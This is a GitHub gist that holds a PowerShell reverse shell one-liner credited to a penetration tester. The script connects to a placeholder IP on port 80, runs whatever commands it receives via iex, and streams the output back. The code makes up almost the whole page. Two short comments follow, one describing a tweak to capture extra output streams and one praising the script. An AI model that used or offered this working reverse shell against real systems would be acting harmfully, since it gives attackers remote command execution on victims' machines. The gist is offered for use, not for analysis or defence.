Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save cnibbler/2d7cec142055759ce30003a38ce237c7 to your computer and use it in GitHub Desktop.
Save cnibbler/2d7cec142055759ce30003a38ce237c7 to your computer and use it in GitHub Desktop.
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@cnibbler
Copy link
Author

cnibbler commented Feb 11, 2021

Slight change to the way commands are run to ensure any non-stdout text (except confirmation prompts) is sent back.

@bobalob
Copy link

bobalob commented Dec 19, 2021

Works perfect and exactly the change I was looking for. Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment